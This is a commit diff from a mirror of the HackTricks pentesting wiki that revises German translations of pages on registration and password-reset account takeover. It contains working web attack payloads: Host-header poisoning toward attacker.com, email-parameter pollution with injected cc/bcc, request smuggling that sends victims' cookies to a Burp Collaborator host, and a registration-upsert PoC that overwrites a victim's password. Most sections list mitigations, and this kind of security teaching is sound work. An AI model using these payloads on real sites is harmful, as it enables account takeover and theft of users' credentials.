mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/registration-vulnerabilities.md', 's
This commit is contained in:
parent
4607758dd7
commit
28dd893956
@ -1,41 +1,43 @@
|
||||
# Registrierung & Übernahmeanfälligkeiten
|
||||
# Registrierung & Takeover Schwachstellen
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Registrierung Übernahme
|
||||
## Registration Takeover
|
||||
|
||||
### Doppelte Registrierung
|
||||
### Duplizierte Registrierung
|
||||
|
||||
- Versuchen Sie, mit einem vorhandenen Benutzernamen zu generieren
|
||||
- Überprüfen Sie verschiedene E-Mails:
|
||||
- Großbuchstaben
|
||||
- Versuche, mit einem bereits existierenden username zu registrieren
|
||||
- Überprüfe verschiedene Varianten der E-Mail:
|
||||
- Groß-/Kleinschreibung
|
||||
- \+1@
|
||||
- fügen Sie einen Punkt in der E-Mail hinzu
|
||||
- Punkte im E-Mail-Namen einfügen
|
||||
- Sonderzeichen im E-Mail-Namen (%00, %09, %20)
|
||||
- Setzen Sie schwarze Zeichen nach der E-Mail: `test@test.com a`
|
||||
- Leerzeichen nach der E-Mail anhängen: `test@test.com a`
|
||||
- victim@gmail.com@attacker.com
|
||||
- victim@attacker.com@gmail.com
|
||||
|
||||
### Benutzernamen Enumeration
|
||||
### Username Enumeration
|
||||
|
||||
Überprüfen Sie, ob Sie herausfinden können, ob ein Benutzername bereits in der Anwendung registriert wurde.
|
||||
Prüfe, ob du erkennen kannst, wann ein username bereits in der Anwendung registriert ist.
|
||||
|
||||
### Passwort-Richtlinie
|
||||
|
||||
Erstellen Sie einen Benutzer und überprüfen Sie die Passwort-Richtlinie (überprüfen Sie, ob Sie schwache Passwörter verwenden können).\
|
||||
In diesem Fall können Sie versuchen, Anmeldeinformationen zu bruteforcen.
|
||||
Beim Erstellen eines Benutzers die Passwort-Richtlinie prüfen (prüfen, ob schwache Passwörter erlaubt sind).\
|
||||
In diesem Fall kannst du versuchen, Credentials zu bruteforcen.
|
||||
|
||||
### SQL-Injection
|
||||
### SQL Injection
|
||||
|
||||
[**Überprüfen Sie diese Seite** ](sql-injection/index.html#insert-statement), um zu lernen, wie man Kontenübernahmen versucht oder Informationen über **SQL-Injections** in Registrierungsformularen extrahiert.
|
||||
[**Check this page** ](sql-injection/index.html#insert-statement)um zu lernen, wie man versucht, account takeovers durchzuführen oder Informationen via **SQL Injections** in Registrierungsformularen zu extrahieren.
|
||||
|
||||
### Oauth Takeovers
|
||||
|
||||
### Oauth-Übernahmen
|
||||
|
||||
{{#ref}}
|
||||
oauth-to-account-takeover.md
|
||||
{{#endref}}
|
||||
|
||||
### SAML-Anfälligkeiten
|
||||
### SAML Vulnerabilities
|
||||
|
||||
|
||||
{{#ref}}
|
||||
saml-attacks/
|
||||
@ -43,35 +45,35 @@ saml-attacks/
|
||||
|
||||
### E-Mail ändern
|
||||
|
||||
Wenn registriert, versuchen Sie, die E-Mail zu ändern und überprüfen Sie, ob diese Änderung korrekt validiert wird oder ob Sie sie auf beliebige E-Mails ändern können.
|
||||
Nach der Registrierung versuche, die E-Mail zu ändern, und prüfe, ob diese Änderung korrekt validiert wird oder ob man sie auf beliebige E-Mails setzen kann.
|
||||
|
||||
### Weitere Überprüfungen
|
||||
### Weitere Prüfungen
|
||||
|
||||
- Überprüfen Sie, ob Sie **wegwerfbare E-Mails** verwenden können
|
||||
- **Lange** **Passwörter** (>200) führen zu **DoS**
|
||||
- **Überprüfen Sie die Ratenlimits bei der Kontoerstellung**
|
||||
- Verwenden Sie username@**burp_collab**.net und analysieren Sie den **Callback**
|
||||
- Prüfe, ob du **disposable emails** verwenden kannst
|
||||
- **Long** **password** (>200) führt zu **DoS**
|
||||
- **Check rate limits on account creation**
|
||||
- Verwende username@**burp_collab**.net und analysiere den **callback**
|
||||
|
||||
## **Passwortzurücksetzungsübernahme**
|
||||
## **Password Reset Takeover**
|
||||
|
||||
### Passwortzurücksetzung Token-Leck über Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
||||
### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
||||
|
||||
1. Fordern Sie die Passwortzurücksetzung an Ihre E-Mail-Adresse an
|
||||
2. Klicken Sie auf den Link zur Passwortzurücksetzung
|
||||
3. Ändern Sie das Passwort nicht
|
||||
4. Klicken Sie auf beliebige 3rd Party-Websites (z.B.: Facebook, Twitter)
|
||||
5. Fangen Sie die Anfrage im Burp Suite Proxy ab
|
||||
6. Überprüfen Sie, ob der Referer-Header das Passwortzurücksetzungstoken leckt.
|
||||
1. Request password reset to your email address
|
||||
2. Click on the password reset link
|
||||
3. Don’t change password
|
||||
4. Click any 3rd party websites(eg: Facebook, twitter)
|
||||
5. Intercept the request in Burp Suite proxy
|
||||
6. Prüfe, ob der referer header das password reset token leak.
|
||||
|
||||
### Passwortzurücksetzung Vergiftung <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
||||
### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
||||
|
||||
1. Fangen Sie die Passwortzurücksetzungsanfrage in Burp Suite ab
|
||||
2. Fügen Sie die folgenden Header in Burp Suite hinzu oder bearbeiten Sie sie: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
||||
3. Leiten Sie die Anfrage mit dem modifizierten Header weiter\
|
||||
1. Intercept the password reset request in Burp Suite
|
||||
2. Füge oder ändere folgende Header in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
||||
3. Forward the request with the modified header\
|
||||
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
|
||||
4. Suchen Sie nach einer URL zur Passwortzurücksetzung basierend auf dem _Host-Header_ wie: `https://attacker.com/reset-password.php?token=TOKEN`
|
||||
4. Suche nach einer password reset URL, die auf dem _host header_ basiert, z. B.: `https://attacker.com/reset-password.php?token=TOKEN`
|
||||
|
||||
### Passwortzurücksetzung über E-Mail-Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
||||
### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
||||
```bash
|
||||
# parameter pollution
|
||||
email=victim@mail.com&email=hacker@mail.com
|
||||
@ -90,56 +92,56 @@ email=victim@mail.com|hacker@mail.com
|
||||
```
|
||||
### IDOR bei API-Parametern <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
|
||||
|
||||
1. Angreifer müssen sich mit ihrem Konto anmelden und zur Funktion **Passwort ändern** gehen.
|
||||
2. Starten Sie Burp Suite und intercepten Sie die Anfrage.
|
||||
3. Senden Sie sie an den Repeater-Tab und bearbeiten Sie die Parameter: Benutzer-ID/E-Mail\
|
||||
1. Der Angreifer muss sich mit seinem Account einloggen und zur Funktion **Change password** gehen.
|
||||
2. Starte Burp Suite und fange die Anfrage ab
|
||||
3. Sende sie an den Repeater-Tab und ändere die Parameter : User ID/email\
|
||||
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
|
||||
|
||||
### Schwaches Passwort-Zurücksetzen-Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
||||
### Schwaches Passwort-Reset-Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
||||
|
||||
Das Passwort-Zurücksetzen-Token sollte zufällig generiert und jedes Mal einzigartig sein.\
|
||||
Versuchen Sie zu bestimmen, ob das Token abläuft oder ob es immer dasselbe ist. In einigen Fällen ist der Generierungsalgorithmus schwach und kann erraten werden. Die folgenden Variablen könnten vom Algorithmus verwendet werden.
|
||||
Das password reset token sollte zufällig generiert und jedes Mal einzigartig sein.\
|
||||
Versuche zu bestimmen, ob das Token abläuft oder immer gleich ist — in einigen Fällen ist der Generierungsalgorithmus schwach und kann erraten werden. Die folgenden Variablen könnten vom Algorithmus verwendet werden.
|
||||
|
||||
- Zeitstempel
|
||||
- Benutzer-ID
|
||||
- E-Mail des Benutzers
|
||||
- Vorname und Nachname
|
||||
- Geburtsdatum
|
||||
- Kryptographie
|
||||
- Nur Zahlen
|
||||
- Kleine Token-Sequenz (Zeichen zwischen \[A-Z,a-z,0-9])
|
||||
- Token-Wiederverwendung
|
||||
- Ablaufdatum des Tokens
|
||||
- Timestamp
|
||||
- UserID
|
||||
- Email of User
|
||||
- Firstname and Lastname
|
||||
- Date of Birth
|
||||
- Cryptography
|
||||
- Number only
|
||||
- Small token sequence ( characters between \[A-Z,a-z,0-9])
|
||||
- Token reuse
|
||||
- Token expiration date
|
||||
|
||||
### Leckendes Passwort-Zurücksetzen-Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
|
||||
### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
|
||||
|
||||
1. Lösen Sie eine Passwort-Zurücksetzen-Anfrage über die API/UI für eine bestimmte E-Mail aus, z.B.: test@mail.com
|
||||
2. Überprüfen Sie die Serverantwort und suchen Sie nach `resetToken`
|
||||
3. Verwenden Sie dann das Token in einer URL wie `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
||||
1. Trigger eine password reset request über die API/UI für eine bestimmte E-Mail, z. B.: test@mail.com
|
||||
2. Untersuche die Serverantwort und prüfe auf `resetToken`
|
||||
3. Verwende dann das Token in einer URL wie `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
||||
|
||||
### Passwort-Zurücksetzen über Benutzernamen-Kollision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
||||
### Passwort-Reset durch Username-Kollision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
||||
|
||||
1. Registrieren Sie sich im System mit einem Benutzernamen, der identisch mit dem Benutzernamen des Opfers ist, jedoch mit Leerzeichen vor und/oder nach dem Benutzernamen. z.B.: `"admin "`
|
||||
2. Fordern Sie ein Passwort-Zurücksetzen mit Ihrem böswilligen Benutzernamen an.
|
||||
3. Verwenden Sie das Token, das an Ihre E-Mail gesendet wurde, und setzen Sie das Passwort des Opfers zurück.
|
||||
4. Melden Sie sich mit dem neuen Passwort beim Konto des Opfers an.
|
||||
1. Registriere dich im System mit einem Benutzernamen, der mit dem des Opfers identisch ist, aber mit eingefügten Leerzeichen vor und/oder nach dem Benutzernamen, z. B.: `"admin "`
|
||||
2. Fordere ein password reset mit deinem bösartigen Benutzernamen an.
|
||||
3. Nutze das an deine E-Mail gesendete Token und setze das Passwort des Opfers zurück.
|
||||
4. Melde dich mit dem neuen Passwort beim Opferkonto an.
|
||||
|
||||
Die Plattform CTFd war anfällig für diesen Angriff.\
|
||||
Siehe: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
||||
Die Plattform CTFd war für diesen Angriff verwundbar.\
|
||||
See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
||||
|
||||
### Kontoübernahme über Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
|
||||
### Accountübernahme via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
|
||||
|
||||
1. Finden Sie ein XSS innerhalb der Anwendung oder einer Subdomain, wenn die Cookies auf die Hauptdomain beschränkt sind: `*.domain.com`
|
||||
2. Lecken Sie das aktuelle **Sitzungscookie**
|
||||
3. Authentifizieren Sie sich als der Benutzer mit dem Cookie
|
||||
1. Finde ein XSS in der Anwendung oder einer Subdomain, falls die cookies auf die Parent-Domain begrenzt sind: `*.domain.com`
|
||||
2. Leak the current **sessions cookie**
|
||||
3. Authentifiziere dich als der Nutzer mithilfe des cookie
|
||||
|
||||
### Kontoübernahme über HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
|
||||
### Accountübernahme via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
|
||||
|
||||
1\. Verwenden Sie **smuggler**, um den Typ des HTTP Request Smuggling (CL, TE, CL.TE) zu erkennen\
|
||||
1\. Verwende **smuggler** um den Typ des HTTP Request Smuggling zu ermitteln (CL, TE, CL.TE)\
|
||||
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
|
||||
2\. Erstellen Sie eine Anfrage, die `POST / HTTP/1.1` mit den folgenden Daten überschreibt:\
|
||||
`GET http://something.burpcollaborator.net HTTP/1.1 X:` mit dem Ziel, die Opfer zu burpcollab umzuleiten und ihre Cookies zu stehlen\
|
||||
3\. Die endgültige Anfrage könnte wie folgt aussehen
|
||||
2\. Erzeuge eine Anfrage, die `POST / HTTP/1.1` mit den folgenden Daten überschreibt:\
|
||||
`GET http://something.burpcollaborator.net HTTP/1.1 X:` mit dem Ziel, die Opfer per open redirect zu burpcollab umzuleiten und ihre cookies zu stehlen\
|
||||
3\. Die finale Anfrage könnte wie folgt aussehen
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Transfer-Encoding: chunked
|
||||
@ -151,29 +153,50 @@ Content-Length: 83
|
||||
GET http://something.burpcollaborator.net HTTP/1.1
|
||||
X: X
|
||||
```
|
||||
Hackerone-Berichte, die diesen Fehler ausnutzen\
|
||||
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
|
||||
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
|
||||
Hackerone meldet die Ausnutzung dieses Bugs\
|
||||
* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
|
||||
* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
|
||||
|
||||
### Kontoübernahme über CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
|
||||
### Account Takeover via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
|
||||
|
||||
1. Erstellen Sie ein Payload für das CSRF, z.B.: „HTML-Formular mit automatischer Übermittlung für eine Passwortänderung“
|
||||
2. Senden Sie das Payload
|
||||
1. Erstelle ein payload für die CSRF, z. B.: “HTML form with auto submit for a password change”
|
||||
2. Sende das payload
|
||||
|
||||
### Kontoübernahme über JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
||||
### Account Takeover via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
||||
|
||||
JSON Web Token könnte verwendet werden, um einen Benutzer zu authentifizieren.
|
||||
JSON Web Token könnte zur Authentifizierung eines Users verwendet werden.
|
||||
|
||||
- Bearbeiten Sie das JWT mit einer anderen Benutzer-ID / E-Mail
|
||||
- Überprüfen Sie die schwache JWT-Signatur
|
||||
- Bearbeite das JWT mit einer anderen User ID / Email
|
||||
- Prüfe auf schwache JWT-Signatur
|
||||
|
||||
|
||||
{{#ref}}
|
||||
hacking-jwt-json-web-tokens.md
|
||||
{{#endref}}
|
||||
|
||||
## Registration-as-Reset (Upsert on Existing Email)
|
||||
|
||||
Einige Signup-Handler führen ein Upsert durch, wenn die angegebene E-Mail bereits existiert. Wenn der Endpoint einen minimalen Body mit E-Mail und Passwort akzeptiert und keine Besitzverifizierung erzwingt, überschreibt das Senden der E-Mail des Opfers dessen Passwort vor der Authentifizierung (pre-auth).
|
||||
|
||||
- Discovery: Sammle Endpoint-Namen aus gebündeltem JS (oder mobilem App-Traffic), und fuzz dann Basispfade wie /parents/application/v4/admin/FUZZ mit ffuf/dirsearch.
|
||||
- Method hints: Ein GET, das Meldungen wie "Only POST request is allowed." zurückgibt, deutet oft auf das korrekte Verb und darauf hin, dass ein JSON-Body erwartet wird.
|
||||
- Minimaler Body, in der Praxis beobachtet:
|
||||
```json
|
||||
{"email":"victim@example.com","password":"New@12345"}
|
||||
```
|
||||
Beispiel PoC:
|
||||
```http
|
||||
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
|
||||
Host: www.target.tld
|
||||
Content-Type: application/json
|
||||
|
||||
{"email":"victim@example.com","password":"New@12345"}
|
||||
```
|
||||
Auswirkung: Vollständige Account-Übernahme (ATO) ohne Reset-Token, OTP oder E-Mail-Verifizierung.
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [Wie ich einen kritischen Passwort-Reset-Bug gefunden habe (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
|
||||
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,12 +1,12 @@
|
||||
# Reset/Forgotten Password Bypass
|
||||
# Bypass für zurückgesetzte/vergessene Passwörter
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Password Reset Token Leak Via Referrer**
|
||||
|
||||
- Der HTTP referer header kann zu einem leak des Password Reset Tokens führen, wenn es in der URL enthalten ist. Dies kann auftreten, wenn ein Benutzer nach Anforderung eines Password Resets auf einen Link einer Drittanbieter-Website klickt.
|
||||
- **Impact**: Mögliche Account-Übernahme durch Cross-Site Request Forgery (CSRF)-Angriffe.
|
||||
- **Exploitation**: Um zu prüfen, ob ein Password Reset Token im referer header leak't, **fordere einen Password Reset** für deine E-Mail-Adresse an und **klicke auf den bereitgestellten Reset-Link**. **Ändere dein Passwort nicht** sofort. Navigiere stattdessen zu einer Drittanbieter-Website (wie Facebook oder Twitter), während du **die Requests mit Burp Suite abfängst**. Untersuche die Requests, um zu sehen, ob der **referer header das Password Reset Token enthält**, da dies sensible Informationen an Dritte offenlegen könnte.
|
||||
- Der HTTP referer header kann den Password-Reset-Token leaken, wenn er in der URL enthalten ist. Das kann passieren, wenn ein Benutzer nach Anforderung eines Password Resets auf einen Drittanbieter-Link klickt.
|
||||
- **Auswirkung**: Potenzielle Account-Übernahme durch Cross-Site Request Forgery (CSRF)-Angriffe.
|
||||
- **Ausnutzung**: Um zu prüfen, ob ein Password-Reset-Token im referer header leakt, fordere einen Password Reset für deine E-Mail-Adresse an und klicke auf den erhaltenen Reset-Link. Ändere nicht sofort dein Passwort. Navigiere stattdessen zu einer Drittanbieter-Website (z. B. Facebook oder Twitter), während du die Requests mit Burp Suite abfängst. Untersuche die Requests, um zu sehen, ob der referer header den Password-Reset-Token enthält, da dies sensible Informationen an Dritte leaken könnte.
|
||||
- **References**:
|
||||
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||||
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||||
@ -14,20 +14,20 @@
|
||||
|
||||
## **Password Reset Poisoning**
|
||||
|
||||
- Angreifer können den Host header während Password-Reset-Anfragen manipulieren, um den Reset-Link auf eine bösartige Seite zeigen zu lassen.
|
||||
- **Impact**: Führt möglicherweise zur Account-Übernahme durch das Leaken von Reset-Tokens an Angreifer.
|
||||
- **Mitigation Steps**:
|
||||
- Angreifer können den Host header während Password-Reset-Anfragen manipulieren, um den Reset-Link auf eine bösartige Seite zu verweisen.
|
||||
- **Auswirkung**: Kann zu potenzieller Account-Übernahme führen, indem Reset-Tokens an Angreifer geleakt werden.
|
||||
- **Abhilfemaßnahmen**:
|
||||
- Validieren Sie den Host header gegen eine Whitelist erlaubter Domains.
|
||||
- Verwenden Sie sichere, serverseitige Methoden, um absolute URLs zu generieren.
|
||||
- **Patch**: Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`.
|
||||
- Verwenden Sie sichere, serverseitige Methoden, um absolute URLs zu erzeugen.
|
||||
- **Patch**: Verwende `$_SERVER['SERVER_NAME']`, um password reset URLs zu konstruieren, anstatt `$_SERVER['HTTP_HOST']`.
|
||||
- **References**:
|
||||
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
|
||||
## **Password Reset By Manipulating Email Parameter**
|
||||
|
||||
Angreifer können die Password-Reset-Anfrage manipulieren, indem sie zusätzliche email-Parameter hinzufügen, um den Reset-Link umzuleiten.
|
||||
Angreifer können die Password-Reset-Anfrage manipulieren, indem sie zusätzliche Email-Parameter hinzufügen, um den Reset-Link umzuleiten.
|
||||
|
||||
- Fügen Sie die Angreifer-E-Mail als zweiten Parameter mithilfe von & hinzu
|
||||
- Füge die Angreifer-E-Mail als zweiten Parameter hinzu, z. B. mit &
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
@ -39,84 +39,84 @@ POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com%20email=attacker@email.com
|
||||
```
|
||||
- Füge attacker email als zweiten Parameter mit | hinzu
|
||||
- Fügen Sie die attacker email als zweiten Parameter hinzu, indem Sie | verwenden
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com|email=attacker@email.com
|
||||
```
|
||||
- Füge die E-Mail des Angreifers als zweiten Parameter per cc hinzu
|
||||
Füge attacker email als zweiten Parameter mit cc hinzu.
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
||||
```
|
||||
Füge attacker email als zweiten Parameter mit bcc hinzu
|
||||
- Füge die E-Mail-Adresse des Angreifers als zweiten Parameter mittels bcc hinzu
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||||
```
|
||||
- Füge attacker email als zweiten Parameter hinzu, indem du , verwendest
|
||||
- Füge die Angreifer-E-Mail als zweiten Parameter hinzu, indem du ,
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld",email="attacker@mail.tld"
|
||||
```
|
||||
Füge attacker email als zweiten Parameter im json array hinzu
|
||||
- Füge attacker email als zweiten Parameter im json array hinzu
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
||||
```
|
||||
- **Abhilfemaßnahmen**:
|
||||
- **Mitigation Steps**:
|
||||
- E-Mail-Parameter serverseitig korrekt parsen und validieren.
|
||||
- Use prepared statements or parameterized queries, um Injection-Angriffe zu verhindern.
|
||||
- Verwenden Sie Prepared Statements oder parametrisierte Abfragen, um Injection-Angriffe zu verhindern.
|
||||
- **Referenzen**:
|
||||
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||||
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
||||
|
||||
## **Ändern von E-Mail und Passwort eines beliebigen Nutzers über API-Parameter**
|
||||
## **Ändern von E-Mail und Passwort eines beliebigen Benutzers über API-Parameter**
|
||||
|
||||
- Angreifer können E-Mail- und Passwortparameter in API-Anfragen manipulieren, um die Zugangsdaten eines Kontos zu ändern.
|
||||
- Angreifer können E-Mail- und Passwort-Parameter in API-Anfragen manipulieren, um Kontozugangsdaten zu ändern.
|
||||
```php
|
||||
POST /api/changepass
|
||||
[...]
|
||||
("form": {"email":"victim@email.tld","password":"12345678"})
|
||||
```
|
||||
- **Gegenmaßnahmen**:
|
||||
- Stellen Sie strikte Parameter-Validierung und Authentifizierungsprüfungen sicher.
|
||||
- Implementieren Sie robustes Logging und Monitoring, um verdächtige Aktivitäten zu erkennen und darauf zu reagieren.
|
||||
- Stelle strikte Parameter-Validierung und Authentifizierungsprüfungen sicher.
|
||||
- Implementiere robustes Logging und Monitoring, um verdächtige Aktivitäten zu erkennen und darauf zu reagieren.
|
||||
- **Referenz**:
|
||||
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
|
||||
## **No Rate Limiting: Email Bombing**
|
||||
## **Keine Rate-Limitierung: Email Bombing**
|
||||
|
||||
- Fehlende Rate-Limiting bei password reset requests kann zu email bombing führen und den Nutzer mit reset emails überfluten.
|
||||
- Fehlende Rate-Limitierung bei Passwort-Reset-Anfragen kann zu Email Bombing führen und den Nutzer mit Reset-E-Mails überfluten.
|
||||
- **Gegenmaßnahmen**:
|
||||
- Implementieren Sie Rate-Limiting basierend auf IP-Adresse oder Benutzerkonto.
|
||||
- Verwenden Sie CAPTCHA-Challenges, um automatisierten Missbrauch zu verhindern.
|
||||
- Implementiere Rate-Limiting basierend auf IP-Adresse oder Benutzerkonto.
|
||||
- Setze CAPTCHA-Challenges ein, um automatisierten Missbrauch zu verhindern.
|
||||
- **Referenzen**:
|
||||
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
||||
|
||||
## **Ermitteln, wie Password Reset Token generiert werden**
|
||||
## **Herausfinden, wie das Passwort-Reset-Token generiert wird**
|
||||
|
||||
- Das Verständnis des Musters oder Verfahrens hinter der Token-Generierung kann dazu führen, Tokens vorherzusagen oder per brute-forcing zu erraten. Einige Optionen:
|
||||
- Based Timestamp
|
||||
- Based on the UserID
|
||||
- Based on email of User
|
||||
- Based on Firstname and Lastname
|
||||
- Based on Date of Birth
|
||||
- Based on Cryptography
|
||||
- Das Verstehen des Musters oder der Methode hinter der Token-Generierung kann dazu führen, Token vorherzusagen oder per Brute Force zu erraten. Einige Optionen:
|
||||
- Basierend auf Timestamp
|
||||
- Basierend auf der UserID
|
||||
- Basierend auf der E-Mail des Users
|
||||
- Basierend auf Vor- und Nachname
|
||||
- Basierend auf Geburtsdatum
|
||||
- Basierend auf Kryptographie
|
||||
- **Gegenmaßnahmen**:
|
||||
- Verwenden Sie starke, kryptographische Methoden zur Token-Generierung.
|
||||
- Stellen Sie ausreichende Zufälligkeit und Länge sicher, um Vorhersehbarkeit zu verhindern.
|
||||
- **Tools**: Verwenden Sie Burp Sequencer, um die Zufälligkeit von Tokens zu analysieren.
|
||||
- Verwende starke, kryptographische Methoden zur Token-Generierung.
|
||||
- Sorge für ausreichende Zufälligkeit und Länge, um Vorhersagbarkeit zu verhindern.
|
||||
- **Tools**: Verwende Burp Sequencer, um die Zufälligkeit von Tokens zu analysieren.
|
||||
|
||||
## **Guessable UUID**
|
||||
## **Erratbare UUID**
|
||||
|
||||
- Wenn UUIDs (version 1) erratbar oder vorhersagbar sind, können Angreifer sie per brute-force durchprobieren, um gültige reset tokens zu generieren. Check:
|
||||
- Wenn UUIDs (version 1) erratbar oder vorhersagbar sind, können Angreifer sie per Brute Force ermitteln, um gültige Reset-Tokens zu erzeugen. Prüfe:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -124,55 +124,55 @@ uuid-insecurities.md
|
||||
{{#endref}}
|
||||
|
||||
- **Gegenmaßnahmen**:
|
||||
- Verwenden Sie GUID version 4 für Zufälligkeit oder implementieren Sie zusätzliche Sicherheitsmaßnahmen für andere Versionen.
|
||||
- **Tools**: Verwenden Sie [guidtool](https://github.com/intruder-io/guidtool) zum Analysieren und Generieren von GUIDs.
|
||||
- Verwende GUID Version 4 für Zufälligkeit oder implementiere zusätzliche Sicherheitsmaßnahmen für andere Versionen.
|
||||
- **Tools**: Verwende [guidtool](https://github.com/intruder-io/guidtool) zur Analyse und Generierung von GUIDs.
|
||||
|
||||
## **Response Manipulation: Replace Bad Response With Good One**
|
||||
|
||||
- Manipulation von HTTP-Antworten, um Fehlermeldungen oder Einschränkungen zu umgehen.
|
||||
- Manipulating HTTP responses to bypass error messages or restrictions.
|
||||
- **Gegenmaßnahmen**:
|
||||
- Implementieren Sie serverseitige Prüfungen, um die Integrität der Antworten sicherzustellen.
|
||||
- Verwenden Sie sichere Kommunikationskanäle wie HTTPS, um Man-in-the-Middle-Angriffe zu verhindern.
|
||||
- Implementiere serverseitige Prüfungen, um die Integrität von Responses sicherzustellen.
|
||||
- Nutze sichere Kommunikationskanäle wie HTTPS, um Man-in-the-Middle-Angriffe zu verhindern.
|
||||
- **Referenz**:
|
||||
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
|
||||
## **Using Expired Token**
|
||||
|
||||
- Testen, ob abgelaufene Tokens weiterhin für password reset verwendet werden können.
|
||||
- Testing whether expired tokens can still be used for password reset.
|
||||
- **Gegenmaßnahmen**:
|
||||
- Implementieren Sie strikte Ablaufrichtlinien für Tokens und validieren Sie das Token-Ablaufdatum serverseitig.
|
||||
- Implementiere strikte Token-Ablaufrichtlinien und validiere das Token-Ablaufdatum serverseitig.
|
||||
|
||||
## **Brute Force Password Reset Token**
|
||||
|
||||
- Versuch, das reset token per brute-force mit Tools wie Burpsuite und IP-Rotator zu erraten, um IP-basierte Rate-Limits zu umgehen.
|
||||
- Attempting to brute-force the reset token using tools like Burpsuite and IP-Rotator to bypass IP-based rate limits.
|
||||
- **Gegenmaßnahmen**:
|
||||
- Implementieren Sie robustes Rate-Limiting und Account-Lockout-Mechanismen.
|
||||
- Überwachen Sie verdächtige Aktivitäten, die auf Brute-Force-Angriffe hindeuten.
|
||||
- Implementiere robustes Rate-Limiting und Account-Lockout-Mechanismen.
|
||||
